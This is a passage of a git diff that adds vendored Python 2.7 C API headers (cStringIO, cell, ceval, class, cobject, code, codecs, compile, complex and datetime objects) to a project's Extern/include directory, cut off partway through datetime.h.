_PyString_Join +#define PyBytes_AsStringAndSize PyString_AsStringAndSize +#define _PyBytes_InsertThousandsGrouping _PyString_InsertThousandsGrouping diff --git a/Extern/include/Python27/cStringIO.h b/Extern/include/Python27/cStringIO.h new file mode 100644 index 0000000..6ca44a8 --- /dev/null +++ b/Extern/include/Python27/cStringIO.h @@ -0,0 +1,73 @@ +#ifndef Py_CSTRINGIO_H +#define Py_CSTRINGIO_H +#ifdef __cplusplus +extern "C" { +#endif +/* + + This header provides access to cStringIO objects from C. + Functions are provided for calling cStringIO objects and + macros are provided for testing whether you have cStringIO + objects. + + Before calling any of the functions or macros, you must initialize + the routines with: + + PycString_IMPORT + + This would typically be done in your init function. + +*/ + +#define PycStringIO_CAPSULE_NAME "cStringIO.cStringIO_CAPI" + +#define PycString_IMPORT \ + PycStringIO = ((struct PycStringIO_CAPI*)PyCapsule_Import(\ + PycStringIO_CAPSULE_NAME, 0)) + +/* Basic functions to manipulate cStringIO objects from C */ + +static struct PycStringIO_CAPI { + + /* Read a string from an input object. If the last argument + is -1, the remainder will be read. + */ + int(*cread)(PyObject *, char **, Py_ssize_t); + + /* Read a line from an input object. Returns the length of the read + line as an int and a pointer inside the object buffer as char** (so + the caller doesn't have to provide its own buffer as destination). + */ + int(*creadline)(PyObject *, char **); + + /* Write a string to an output object*/ + int(*cwrite)(PyObject *, const char *, Py_ssize_t); + + /* Get the output object as a Python string (returns new reference). */ + PyObject *(*cgetvalue)(PyObject *); + + /* Create a new output object */ + PyObject *(*NewOutput)(int); + + /* Create an input object from a Python string + (copies the Python string reference). + */ + PyObject *(*NewInput)(PyObject *); + + /* The Python types for cStringIO input and output objects. + Note that you can do input on an output object. + */ + PyTypeObject *InputType, *OutputType; + +} *PycStringIO; + +/* These can be used to test if you have one */ +#define PycStringIO_InputCheck(O) \ + (Py_TYPE(O)==PycStringIO->InputType) +#define PycStringIO_OutputCheck(O) \ + (Py_TYPE(O)==PycStringIO->OutputType) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_CSTRINGIO_H */ diff --git a/Extern/include/Python27/cellobject.h b/Extern/include/Python27/cellobject.h new file mode 100644 index 0000000..c927ee5 --- /dev/null +++ b/Extern/include/Python27/cellobject.h @@ -0,0 +1,28 @@ +/* Cell object interface */ + +#ifndef Py_CELLOBJECT_H +#define Py_CELLOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + PyObject_HEAD + PyObject *ob_ref; /* Content of the cell or NULL when empty */ +} PyCellObject; + +PyAPI_DATA(PyTypeObject) PyCell_Type; + +#define PyCell_Check(op) (Py_TYPE(op) == &PyCell_Type) + +PyAPI_FUNC(PyObject *) PyCell_New(PyObject *); +PyAPI_FUNC(PyObject *) PyCell_Get(PyObject *); +PyAPI_FUNC(int) PyCell_Set(PyObject *, PyObject *); + +#define PyCell_GET(op) (((PyCellObject *)(op))->ob_ref) +#define PyCell_SET(op, v) (((PyCellObject *)(op))->ob_ref = v) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_TUPLEOBJECT_H */ diff --git a/Extern/include/Python27/ceval.h b/Extern/include/Python27/ceval.h new file mode 100644 index 0000000..0e8bd2a --- /dev/null +++ b/Extern/include/Python27/ceval.h @@ -0,0 +1,153 @@ +#ifndef Py_CEVAL_H +#define Py_CEVAL_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Interface to random parts in ceval.c */ + +PyAPI_FUNC(PyObject *) PyEval_CallObjectWithKeywords( + PyObject *, PyObject *, PyObject *); + +/* Inline this */ +#define PyEval_CallObject(func,arg) \ + PyEval_CallObjectWithKeywords(func, arg, (PyObject *)NULL) + +PyAPI_FUNC(PyObject *) PyEval_CallFunction(PyObject *obj, + const char *format, ...); +PyAPI_FUNC(PyObject *) PyEval_CallMethod(PyObject *obj, + const char *methodname, + const char *format, ...); + +PyAPI_FUNC(void) PyEval_SetProfile(Py_tracefunc, PyObject *); +PyAPI_FUNC(void) PyEval_SetTrace(Py_tracefunc, PyObject *); + +struct _frame; /* Avoid including frameobject.h */ + +PyAPI_FUNC(PyObject *) PyEval_GetBuiltins(void); +PyAPI_FUNC(PyObject *) PyEval_GetGlobals(void); +PyAPI_FUNC(PyObject *) PyEval_GetLocals(void); +PyAPI_FUNC(struct _frame *) PyEval_GetFrame(void); +PyAPI_FUNC(int) PyEval_GetRestricted(void); + +/* Look at the current frame's (if any) code's co_flags, and turn on + the corresponding compiler flags in cf->cf_flags. Return 1 if any + flag was set, else return 0. */ +PyAPI_FUNC(int) PyEval_MergeCompilerFlags(PyCompilerFlags *cf); + +PyAPI_FUNC(int) Py_FlushLine(void); + +PyAPI_FUNC(int) Py_AddPendingCall(int (*func)(void *), void *arg); +PyAPI_FUNC(int) Py_MakePendingCalls(void); + +/* Protection against deeply nested recursive calls */ +PyAPI_FUNC(void) Py_SetRecursionLimit(int); +PyAPI_FUNC(int) Py_GetRecursionLimit(void); + +#define Py_EnterRecursiveCall(where) \ + (_Py_MakeRecCheck(PyThreadState_GET()->recursion_depth) && \ + _Py_CheckRecursiveCall(where)) +#define Py_LeaveRecursiveCall() \ + (--PyThreadState_GET()->recursion_depth) +PyAPI_FUNC(int) _Py_CheckRecursiveCall(char *where); +PyAPI_DATA(int) _Py_CheckRecursionLimit; +#ifdef USE_STACKCHECK +# define _Py_MakeRecCheck(x) (++(x) > --_Py_CheckRecursionLimit) +#else +# define _Py_MakeRecCheck(x) (++(x) > _Py_CheckRecursionLimit) +#endif + +PyAPI_FUNC(const char *) PyEval_GetFuncName(PyObject *); +PyAPI_FUNC(const char *) PyEval_GetFuncDesc(PyObject *); + +PyAPI_FUNC(PyObject *) PyEval_GetCallStats(PyObject *); +PyAPI_FUNC(PyObject *) PyEval_EvalFrame(struct _frame *); +PyAPI_FUNC(PyObject *) PyEval_EvalFrameEx(struct _frame *f, int exc); + +/* this used to be handled on a per-thread basis - now just two globals */ +PyAPI_DATA(volatile int) _Py_Ticker; +PyAPI_DATA(int) _Py_CheckInterval; + +/* Interface for threads. + + A module that plans to do a blocking system call (or something else + that lasts a long time and doesn't touch Python data) can allow other + threads to run as follows: + + ...preparations here... + Py_BEGIN_ALLOW_THREADS + ...blocking system call here... + Py_END_ALLOW_THREADS + ...interpret result here... + + The Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS pair expands to a + {}-surrounded block. + To leave the block in the middle (e.g., with return), you must insert + a line containing Py_BLOCK_THREADS before the return, e.g. + + if (...premature_exit...) { + Py_BLOCK_THREADS + PyErr_SetFromErrno(PyExc_IOError); + return NULL; + } + + An alternative is: + + Py_BLOCK_THREADS + if (...premature_exit...) { + PyErr_SetFromErrno(PyExc_IOError); + return NULL; + } + Py_UNBLOCK_THREADS + + For convenience, that the value of 'errno' is restored across + Py_END_ALLOW_THREADS and Py_BLOCK_THREADS. + + WARNING: NEVER NEST CALLS TO Py_BEGIN_ALLOW_THREADS AND + Py_END_ALLOW_THREADS!!! + + The function PyEval_InitThreads() should be called only from + initthread() in "threadmodule.c". + + Note that not yet all candidates have been converted to use this + mechanism! +*/ + +PyAPI_FUNC(PyThreadState *) PyEval_SaveThread(void); +PyAPI_FUNC(void) PyEval_RestoreThread(PyThreadState *); + +#ifdef WITH_THREAD + +PyAPI_FUNC(int) PyEval_ThreadsInitialized(void); +PyAPI_FUNC(void) PyEval_InitThreads(void); +PyAPI_FUNC(void) PyEval_AcquireLock(void); +PyAPI_FUNC(void) PyEval_ReleaseLock(void); +PyAPI_FUNC(void) PyEval_AcquireThread(PyThreadState *tstate); +PyAPI_FUNC(void) PyEval_ReleaseThread(PyThreadState *tstate); +PyAPI_FUNC(void) PyEval_ReInitThreads(void); + +#define Py_BEGIN_ALLOW_THREADS { \ + PyThreadState *_save; \ + _save = PyEval_SaveThread(); +#define Py_BLOCK_THREADS PyEval_RestoreThread(_save); +#define Py_UNBLOCK_THREADS _save = PyEval_SaveThread(); +#define Py_END_ALLOW_THREADS PyEval_RestoreThread(_save); \ + } + +#else /* !WITH_THREAD */ + +#define Py_BEGIN_ALLOW_THREADS { +#define Py_BLOCK_THREADS +#define Py_UNBLOCK_THREADS +#define Py_END_ALLOW_THREADS } + +#endif /* !WITH_THREAD */ + +PyAPI_FUNC(int) _PyEval_SliceIndex(PyObject *, Py_ssize_t *); + + +#ifdef __cplusplus +} +#endif +#endif /* !Py_CEVAL_H */ diff --git a/Extern/include/Python27/classobject.h b/Extern/include/Python27/classobject.h new file mode 100644 index 0000000..bc03e0d --- /dev/null +++ b/Extern/include/Python27/classobject.h @@ -0,0 +1,83 @@ + +/* Class object interface */ + +/* Revealing some structures (not for general use) */ + +#ifndef Py_CLASSOBJECT_H +#define Py_CLASSOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + PyObject_HEAD + PyObject *cl_bases; /* A tuple of class objects */ + PyObject *cl_dict; /* A dictionary */ + PyObject *cl_name; /* A string */ + /* The following three are functions or NULL */ + PyObject *cl_getattr; + PyObject *cl_setattr; + PyObject *cl_delattr; + PyObject *cl_weakreflist; /* List of weak references */ +} PyClassObject; + +typedef struct { + PyObject_HEAD + PyClassObject *in_class; /* The class object */ + PyObject *in_dict; /* A dictionary */ + PyObject *in_weakreflist; /* List of weak references */ +} PyInstanceObject; + +typedef struct { + PyObject_HEAD + PyObject *im_func; /* The callable object implementing the method */ + PyObject *im_self; /* The instance it is bound to, or NULL */ + PyObject *im_class; /* The class that asked for the method */ + PyObject *im_weakreflist; /* List of weak references */ +} PyMethodObject; + +PyAPI_DATA(PyTypeObject) PyClass_Type, PyInstance_Type, PyMethod_Type; + +#define PyClass_Check(op) ((op)->ob_type == &PyClass_Type) +#define PyInstance_Check(op) ((op)->ob_type == &PyInstance_Type) +#define PyMethod_Check(op) ((op)->ob_type == &PyMethod_Type) + +PyAPI_FUNC(PyObject *) PyClass_New(PyObject *, PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) PyInstance_New(PyObject *, PyObject *, + PyObject *); +PyAPI_FUNC(PyObject *) PyInstance_NewRaw(PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) PyMethod_New(PyObject *, PyObject *, PyObject *); + +PyAPI_FUNC(PyObject *) PyMethod_Function(PyObject *); +PyAPI_FUNC(PyObject *) PyMethod_Self(PyObject *); +PyAPI_FUNC(PyObject *) PyMethod_Class(PyObject *); + +/* Look up attribute with name (a string) on instance object pinst, using + * only the instance and base class dicts. If a descriptor is found in + * a class dict, the descriptor is returned without calling it. + * Returns NULL if nothing found, else a borrowed reference to the + * value associated with name in the dict in which name was found. + * The point of this routine is that it never calls arbitrary Python + * code, so is always "safe": all it does is dict lookups. The function + * can't fail, never sets an exception, and NULL is not an error (it just + * means "not found"). + */ +PyAPI_FUNC(PyObject *) _PyInstance_Lookup(PyObject *pinst, PyObject *name); + +/* Macros for direct access to these values. Type checks are *not* + done, so use with care. */ +#define PyMethod_GET_FUNCTION(meth) \ + (((PyMethodObject *)meth) -> im_func) +#define PyMethod_GET_SELF(meth) \ + (((PyMethodObject *)meth) -> im_self) +#define PyMethod_GET_CLASS(meth) \ + (((PyMethodObject *)meth) -> im_class) + +PyAPI_FUNC(int) PyClass_IsSubclass(PyObject *, PyObject *); + +PyAPI_FUNC(int) PyMethod_ClearFreeList(void); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_CLASSOBJECT_H */ diff --git a/Extern/include/Python27/cobject.h b/Extern/include/Python27/cobject.h new file mode 100644 index 0000000..ad3cd9c --- /dev/null +++ b/Extern/include/Python27/cobject.h @@ -0,0 +1,89 @@ +/* + CObjects are marked Pending Deprecation as of Python 2.7. + The full schedule for 2.x is as follows: + - CObjects are marked Pending Deprecation in Python 2.7. + - CObjects will be marked Deprecated in Python 2.8 + (if there is one). + - CObjects will be removed in Python 2.9 (if there is one). + + Additionally, for the Python 3.x series: + - CObjects were marked Deprecated in Python 3.1. + - CObjects will be removed in Python 3.2. + + You should switch all use of CObjects to capsules. Capsules + have a safer and more consistent API. For more information, + see Include/pycapsule.h, or read the "Capsules" topic in + the "Python/C API Reference Manual". + + Python 2.7 no longer uses CObjects itself; all objects which + were formerly CObjects are now capsules. Note that this change + does not by itself break binary compatibility with extensions + built for previous versions of Python--PyCObject_AsVoidPtr() + has been changed to also understand capsules. + +*/ + +/* original file header comment follows: */ + +/* C objects to be exported from one extension module to another. + + C objects are used for communication between extension modules. + They provide a way for an extension module to export a C interface + to other extension modules, so that extension modules can use the + Python import mechanism to link to one another. + +*/ + +#ifndef Py_COBJECT_H +#define Py_COBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_DATA(PyTypeObject) PyCObject_Type; + +#define PyCObject_Check(op) (Py_TYPE(op) == &PyCObject_Type) + +/* Create a PyCObject from a pointer to a C object and an optional + destructor function. If the second argument is non-null, then it + will be called with the first argument if and when the PyCObject is + destroyed. + +*/ +PyAPI_FUNC(PyObject *) PyCObject_FromVoidPtr( + void *cobj, void (*destruct)(void*)); + + +/* Create a PyCObject from a pointer to a C object, a description object, + and an optional destructor function. If the third argument is non-null, + then it will be called with the first and second arguments if and when + the PyCObject is destroyed. +*/ +PyAPI_FUNC(PyObject *) PyCObject_FromVoidPtrAndDesc( + void *cobj, void *desc, void (*destruct)(void*,void*)); + +/* Retrieve a pointer to a C object from a PyCObject. */ +PyAPI_FUNC(void *) PyCObject_AsVoidPtr(PyObject *); + +/* Retrieve a pointer to a description object from a PyCObject. */ +PyAPI_FUNC(void *) PyCObject_GetDesc(PyObject *); + +/* Import a pointer to a C object from a module using a PyCObject. */ +PyAPI_FUNC(void *) PyCObject_Import(char *module_name, char *cobject_name); + +/* Modify a C object. Fails (==0) if object has a destructor. */ +PyAPI_FUNC(int) PyCObject_SetVoidPtr(PyObject *self, void *cobj); + + +typedef struct { + PyObject_HEAD + void *cobject; + void *desc; + void (*destructor)(void *); +} PyCObject; + + +#ifdef __cplusplus +} +#endif +#endif /* !Py_COBJECT_H */ diff --git a/Extern/include/Python27/code.h b/Extern/include/Python27/code.h new file mode 100644 index 0000000..38b2958 --- /dev/null +++ b/Extern/include/Python27/code.h @@ -0,0 +1,107 @@ +/* Definitions for bytecode */ + +#ifndef Py_CODE_H +#define Py_CODE_H +#ifdef __cplusplus +extern "C" { +#endif + +/* Bytecode object */ +typedef struct { + PyObject_HEAD + int co_argcount; /* #arguments, except *args */ + int co_nlocals; /* #local variables */ + int co_stacksize; /* #entries needed for evaluation stack */ + int co_flags; /* CO_..., see below */ + PyObject *co_code; /* instruction opcodes */ + PyObject *co_consts; /* list (constants used) */ + PyObject *co_names; /* list of strings (names used) */ + PyObject *co_varnames; /* tuple of strings (local variable names) */ + PyObject *co_freevars; /* tuple of strings (free variable names) */ + PyObject *co_cellvars; /* tuple of strings (cell variable names) */ + /* The rest doesn't count for hash/cmp */ + PyObject *co_filename; /* string (where it was loaded from) */ + PyObject *co_name; /* string (name, for reference) */ + int co_firstlineno; /* first source line number */ + PyObject *co_lnotab; /* string (encoding addr<->lineno mapping) See + Objects/lnotab_notes.txt for details. */ + void *co_zombieframe; /* for optimization only (see frameobject.c) */ + PyObject *co_weakreflist; /* to support weakrefs to code objects */ +} PyCodeObject; + +/* Masks for co_flags above */ +#define CO_OPTIMIZED 0x0001 +#define CO_NEWLOCALS 0x0002 +#define CO_VARARGS 0x0004 +#define CO_VARKEYWORDS 0x0008 +#define CO_NESTED 0x0010 +#define CO_GENERATOR 0x0020 +/* The CO_NOFREE flag is set if there are no free or cell variables. + This information is redundant, but it allows a single flag test + to determine whether there is any extra work to be done when the + call frame it setup. +*/ +#define CO_NOFREE 0x0040 + +#if 0 +/* This is no longer used. Stopped defining in 2.5, do not re-use. */ +#define CO_GENERATOR_ALLOWED 0x1000 +#endif +#define CO_FUTURE_DIVISION 0x2000 +#define CO_FUTURE_ABSOLUTE_IMPORT 0x4000 /* do absolute imports by default */ +#define CO_FUTURE_WITH_STATEMENT 0x8000 +#define CO_FUTURE_PRINT_FUNCTION 0x10000 +#define CO_FUTURE_UNICODE_LITERALS 0x20000 + +/* This should be defined if a future statement modifies the syntax. + For example, when a keyword is added. +*/ +#if 1 +#define PY_PARSER_REQUIRES_FUTURE_KEYWORD +#endif + +#define CO_MAXBLOCKS 20 /* Max static block nesting within a function */ + +PyAPI_DATA(PyTypeObject) PyCode_Type; + +#define PyCode_Check(op) (Py_TYPE(op) == &PyCode_Type) +#define PyCode_GetNumFree(op) (PyTuple_GET_SIZE((op)->co_freevars)) + +/* Public interface */ +PyAPI_FUNC(PyCodeObject *) PyCode_New( + int, int, int, int, PyObject *, PyObject *, PyObject *, PyObject *, + PyObject *, PyObject *, PyObject *, PyObject *, int, PyObject *); + /* same as struct above */ + +/* Creates a new empty code object with the specified source location. */ +PyAPI_FUNC(PyCodeObject *) +PyCode_NewEmpty(const char *filename, const char *funcname, int firstlineno); + +/* Return the line number associated with the specified bytecode index + in this code object. If you just need the line number of a frame, + use PyFrame_GetLineNumber() instead. */ +PyAPI_FUNC(int) PyCode_Addr2Line(PyCodeObject *, int); + +/* for internal use only */ +#define _PyCode_GETCODEPTR(co, pp) \ + ((*Py_TYPE((co)->co_code)->tp_as_buffer->bf_getreadbuffer) \ + ((co)->co_code, 0, (void **)(pp))) + +typedef struct _addr_pair { + int ap_lower; + int ap_upper; +} PyAddrPair; + +/* Update *bounds to describe the first and one-past-the-last instructions in the + same line as lasti. Return the number of that line. +*/ +PyAPI_FUNC(int) _PyCode_CheckLineNumber(PyCodeObject* co, + int lasti, PyAddrPair *bounds); + +PyAPI_FUNC(PyObject*) PyCode_Optimize(PyObject *code, PyObject* consts, + PyObject *names, PyObject *lineno_obj); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_CODE_H */ diff --git a/Extern/include/Python27/codecs.h b/Extern/include/Python27/codecs.h new file mode 100644 index 0000000..0d76241 --- /dev/null +++ b/Extern/include/Python27/codecs.h @@ -0,0 +1,167 @@ +#ifndef Py_CODECREGISTRY_H +#define Py_CODECREGISTRY_H +#ifdef __cplusplus +extern "C" { +#endif + +/* ------------------------------------------------------------------------ + + Python Codec Registry and support functions + + +Written by Marc-Andre Lemburg (mal@lemburg.com). + +Copyright (c) Corporation for National Research Initiatives. + + ------------------------------------------------------------------------ */ + +/* Register a new codec search function. + + As side effect, this tries to load the encodings package, if not + yet done, to make sure that it is always first in the list of + search functions. + + The search_function's refcount is incremented by this function. */ + +PyAPI_FUNC(int) PyCodec_Register( + PyObject *search_function + ); + +/* Codec register lookup API. + + Looks up the given encoding and returns a CodecInfo object with + function attributes which implement the different aspects of + processing the encoding. + + The encoding string is looked up converted to all lower-case + characters. This makes encodings looked up through this mechanism + effectively case-insensitive. + + If no codec is found, a KeyError is set and NULL returned. + + As side effect, this tries to load the encodings package, if not + yet done. This is part of the lazy load strategy for the encodings + package. + + */ + +PyAPI_FUNC(PyObject *) _PyCodec_Lookup( + const char *encoding + ); + +/* Generic codec based encoding API. + + object is passed through the encoder function found for the given + encoding using the error handling method defined by errors. errors + may be NULL to use the default method defined for the codec. + + Raises a LookupError in case no encoder can be found. + + */ + +PyAPI_FUNC(PyObject *) PyCodec_Encode( + PyObject *object, + const char *encoding, + const char *errors + ); + +/* Generic codec based decoding API. + + object is passed through the decoder function found for the given + encoding using the error handling method defined by errors. errors + may be NULL to use the default method defined for the codec. + + Raises a LookupError in case no encoder can be found. + + */ + +PyAPI_FUNC(PyObject *) PyCodec_Decode( + PyObject *object, + const char *encoding, + const char *errors + ); + +/* --- Codec Lookup APIs -------------------------------------------------- + + All APIs return a codec object with incremented refcount and are + based on _PyCodec_Lookup(). The same comments w/r to the encoding + name also apply to these APIs. + +*/ + +/* Get an encoder function for the given encoding. */ + +PyAPI_FUNC(PyObject *) PyCodec_Encoder( + const char *encoding + ); + +/* Get a decoder function for the given encoding. */ + +PyAPI_FUNC(PyObject *) PyCodec_Decoder( + const char *encoding + ); + +/* Get a IncrementalEncoder object for the given encoding. */ + +PyAPI_FUNC(PyObject *) PyCodec_IncrementalEncoder( + const char *encoding, + const char *errors + ); + +/* Get a IncrementalDecoder object function for the given encoding. */ + +PyAPI_FUNC(PyObject *) PyCodec_IncrementalDecoder( + const char *encoding, + const char *errors + ); + +/* Get a StreamReader factory function for the given encoding. */ + +PyAPI_FUNC(PyObject *) PyCodec_StreamReader( + const char *encoding, + PyObject *stream, + const char *errors + ); + +/* Get a StreamWriter factory function for the given encoding. */ + +PyAPI_FUNC(PyObject *) PyCodec_StreamWriter( + const char *encoding, + PyObject *stream, + const char *errors + ); + +/* Unicode encoding error handling callback registry API */ + +/* Register the error handling callback function error under the name + name. This function will be called by the codec when it encounters + unencodable characters/undecodable bytes and doesn't know the + callback name, when name is specified as the error parameter + in the call to the encode/decode function. + Return 0 on success, -1 on error */ +PyAPI_FUNC(int) PyCodec_RegisterError(const char *name, PyObject *error); + +/* Lookup the error handling callback function registered under the + name error. As a special case NULL can be passed, in which case + the error handling callback for "strict" will be returned. */ +PyAPI_FUNC(PyObject *) PyCodec_LookupError(const char *name); + +/* raise exc as an exception */ +PyAPI_FUNC(PyObject *) PyCodec_StrictErrors(PyObject *exc); + +/* ignore the unicode error, skipping the faulty input */ +PyAPI_FUNC(PyObject *) PyCodec_IgnoreErrors(PyObject *exc); + +/* replace the unicode error with ? or U+FFFD */ +PyAPI_FUNC(PyObject *) PyCodec_ReplaceErrors(PyObject *exc); + +/* replace the unicode encode error with XML character references */ +PyAPI_FUNC(PyObject *) PyCodec_XMLCharRefReplaceErrors(PyObject *exc); + +/* replace the unicode encode error with backslash escapes (\x, \u and \U) */ +PyAPI_FUNC(PyObject *) PyCodec_BackslashReplaceErrors(PyObject *exc); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_CODECREGISTRY_H */ diff --git a/Extern/include/Python27/compile.h b/Extern/include/Python27/compile.h new file mode 100644 index 0000000..6100101 --- /dev/null +++ b/Extern/include/Python27/compile.h @@ -0,0 +1,40 @@ + +#ifndef Py_COMPILE_H +#define Py_COMPILE_H + +#include "code.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Public interface */ +struct _node; /* Declare the existence of this type */ +PyAPI_FUNC(PyCodeObject *) PyNode_Compile(struct _node *, const char *); + +/* Future feature support */ + +typedef struct { + int ff_features; /* flags set by future statements */ + int ff_lineno; /* line number of last future statement */ +} PyFutureFeatures; + +#define FUTURE_NESTED_SCOPES "nested_scopes" +#define FUTURE_GENERATORS "generators" +#define FUTURE_DIVISION "division" +#define FUTURE_ABSOLUTE_IMPORT "absolute_import" +#define FUTURE_WITH_STATEMENT "with_statement" +#define FUTURE_PRINT_FUNCTION "print_function" +#define FUTURE_UNICODE_LITERALS "unicode_literals" + + +struct _mod; /* Declare the existence of this type */ +PyAPI_FUNC(PyCodeObject *) PyAST_Compile(struct _mod *, const char *, + PyCompilerFlags *, PyArena *); +PyAPI_FUNC(PyFutureFeatures *) PyFuture_FromAST(struct _mod *, const char *); + + +#ifdef __cplusplus +} +#endif +#endif /* !Py_COMPILE_H */ diff --git a/Extern/include/Python27/complexobject.h b/Extern/include/Python27/complexobject.h new file mode 100644 index 0000000..c9a9500 --- /dev/null +++ b/Extern/include/Python27/complexobject.h @@ -0,0 +1,66 @@ +/* Complex number structure */ + +#ifndef Py_COMPLEXOBJECT_H +#define Py_COMPLEXOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + double real; + double imag; +} Py_complex; + +/* Operations on complex numbers from complexmodule.c */ + +#define c_sum _Py_c_sum +#define c_diff _Py_c_diff +#define c_neg _Py_c_neg +#define c_prod _Py_c_prod +#define c_quot _Py_c_quot +#define c_pow _Py_c_pow +#define c_abs _Py_c_abs + +PyAPI_FUNC(Py_complex) c_sum(Py_complex, Py_complex); +PyAPI_FUNC(Py_complex) c_diff(Py_complex, Py_complex); +PyAPI_FUNC(Py_complex) c_neg(Py_complex); +PyAPI_FUNC(Py_complex) c_prod(Py_complex, Py_complex); +PyAPI_FUNC(Py_complex) c_quot(Py_complex, Py_complex); +PyAPI_FUNC(Py_complex) c_pow(Py_complex, Py_complex); +PyAPI_FUNC(double) c_abs(Py_complex); + + +/* Complex object interface */ + +/* +PyComplexObject represents a complex number with double-precision +real and imaginary parts. +*/ + +typedef struct { + PyObject_HEAD + Py_complex cval; +} PyComplexObject; + +PyAPI_DATA(PyTypeObject) PyComplex_Type; + +#define PyComplex_Check(op) PyObject_TypeCheck(op, &PyComplex_Type) +#define PyComplex_CheckExact(op) (Py_TYPE(op) == &PyComplex_Type) + +PyAPI_FUNC(PyObject *) PyComplex_FromCComplex(Py_complex); +PyAPI_FUNC(PyObject *) PyComplex_FromDoubles(double real, double imag); + +PyAPI_FUNC(double) PyComplex_RealAsDouble(PyObject *op); +PyAPI_FUNC(double) PyComplex_ImagAsDouble(PyObject *op); +PyAPI_FUNC(Py_complex) PyComplex_AsCComplex(PyObject *op); + +/* Format the object based on the format_spec, as defined in PEP 3101 + (Advanced String Formatting). */ +PyAPI_FUNC(PyObject *) _PyComplex_FormatAdvanced(PyObject *obj, + char *format_spec, + Py_ssize_t format_spec_len); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_COMPLEXOBJECT_H */ diff --git a/Extern/include/Python27/datetime.h b/Extern/include/Python27/datetime.h new file mode 100644 index 0000000..47abe5c --- /dev/null +++ b/Extern/include/Python27/datetime.h @@ -0,0 +1,239 @@ +/* datetime.h + */ + +#ifndef DATETIME_H +#define DATETIME_H +#ifdef __cplusplus +extern "C" { +#endif + +/* Fields are packed into successive bytes, each viewed as unsigned and + * big-endian, unless otherwise noted: + * + * byte offset + * 0 year 2 bytes, 1-9999 + * 2 month 1 byte, 1-12 + * 3 day 1 byte, 1-31 + * 4 hour 1 byte, 0-23 + * 5 minute 1 byte, 0-59 + * 6 second 1 byte, 0-59 + * 7 usecond 3 bytes, 0-999999 + * 10 + */ + +/* # of bytes for year, month, and day. */ +#define _PyDateTime_DATE_DATASIZE 4 + +/* # of bytes for hour, minute, second, and usecond. */ +#define _PyDateTime_TIME_DATASIZE 6 + +/* # of bytes for year, month, day, hour, minute, second, and usecond. */ +#define _PyDateTime_DATETIME_DATASIZE 10 + + +typedef struct +{ + PyObject_HEAD + long hashcode; /* -1 when unknown */ + int days; /* -MAX_DELTA_DAYS <= days <= MAX_DELTA_DAYS */ + int seconds; /* 0 <= seconds < 24*3600 is invariant */ + int microseconds; /* 0 <= microseconds < 1000000 is invariant */ +} PyDateTime_Delta; + +typedef struct +{ + PyObject_HEAD /* a pure abstract base clase */ +} PyDateTime_TZInfo; + + +/* The datetime and time types have hashcodes, and an optional tzinfo member, + * present if and only if hastzinfo is true. + */ +#define _PyTZINFO_HEAD \ + PyObject_HEAD \ + long hashcode; \ + char hastzinfo; /* boolean flag */ + +/* No _PyDateTime_BaseTZInfo is allocated; it's just to have something + * convenient to cast to, when getting at the hastzinfo member of objects + * starting with _PyTZINFO_HEAD. + */ +typedef struct +{ + _PyTZINFO_HEAD +} _PyDateTime_BaseTZInfo; + +/* All time objects are of PyDateTime_TimeType, but that can be allocated + * in two ways, with or without a tzinfo member. Without is the same as + * tzinfo == None, but consumes less memory. _PyDateTime_BaseTime is an + * internal struct used to allocate the right amount of space for the + * "without" case. + */ +#define _PyDateTime_TIMEHEAD \ + _PyTZINFO_HEAD \ + unsigned char data[_PyDateTime_TIME_DATASIZE]; + +typedef struct +{ + _PyDateTime_TIMEHEAD +} _PyDateTime_BaseTime; /* hastzinfo false */ + +typedef struct +{ + _PyDateTime_TIMEHEAD + PyObject *tzinfo; +} PyDateTime_Time; /* hastzinfo true */ + + +/* All datetime objects are of PyDateTime_DateTimeType, but that can be + * allocated in two ways too, just like for time objects above. In addition, + * the plain date type is a base class for datetime, so it must also have + * a hastzinfo member (although it's unused there). + */ +typedef struct +{ + _PyTZINFO_HEAD + unsigned char data[_PyDateTime_DATE_DATASIZE]; +} PyDateTime_Date; + +#define _PyDateTime_DATETIMEHEAD \ + _PyTZINFO_HEAD \ + unsigned char data[_PyDateTime_DATETIME_DATASIZE]; + +typedef struct +{ + _PyDateTime_DATETIMEHEAD +} _PyDateTime_BaseDateTime; /* hastzinfo false */ + +typedef struct +{ + _PyDateTime_DATETIMEHEAD + PyObject *tzinfo; +} PyDateTime_DateTime; /* hastzinfo true */ + + +/* Apply for date and datetime instances. */ +#define PyDateTime_GET_YEAR(o) ((((PyDateTime_Date*)o)->data[0] << 8) | \ + ((PyDateTime_Date*)o)->data[1]) +#define PyDateTime_GET_MONTH(o) (((PyDateTime_Date*)o)->data[2]) +#define PyDateTime_GET_DAY(o) (((PyDateTime_Date*)o)->data[3]) + +#define PyDateTime_DATE_GET_HOUR(o) (((PyDateTime_DateTime*)o)->data[4]) +#define PyDateTime_DATE_GET_MINUTE(o) (((PyDateTime_DateTime*)o)->data[5]) +#define PyDateTime_DATE_GET_SECOND(o) (((PyDateTime_DateTime*)o)->data[6]) +#define PyDateTime_DATE_GET_MICROSECOND(o) \ + ((((PyDateTime_DateTime*)o)->data[7] << 16) | \ + (((PyDateTime_DateTime*)o)->data[8] << 8) | \ + ((PyDateTime_DateTime*)o)->data[9]) + +/* Apply for time instances. */ +#define PyDateTime_TIME_GET_HOUR(o) (((PyDateTime_Time*)o)->data[0]) +#define PyDateTime_TIME_GET_MINUTE(o) (((PyDateTime_Time*)o)->data[1]) +#define PyDateTime_TIME_GET_SECOND(o) (((PyDateTime_Time*)o)->data[2]) +#define PyDateTime_TIME_GET_MICROSECOND(o) \ + ((((PyDateTime_Time*)o)->data[3] << 16) | \ + (((PyDateTime_Time*)o)->data[4] << 8) | \ + ((PyDateTime_Time*)o)->data[5]) + + +/* Define structure for C API. */ +typedef struct { + /* type objects */ + PyTypeObject *DateType; + 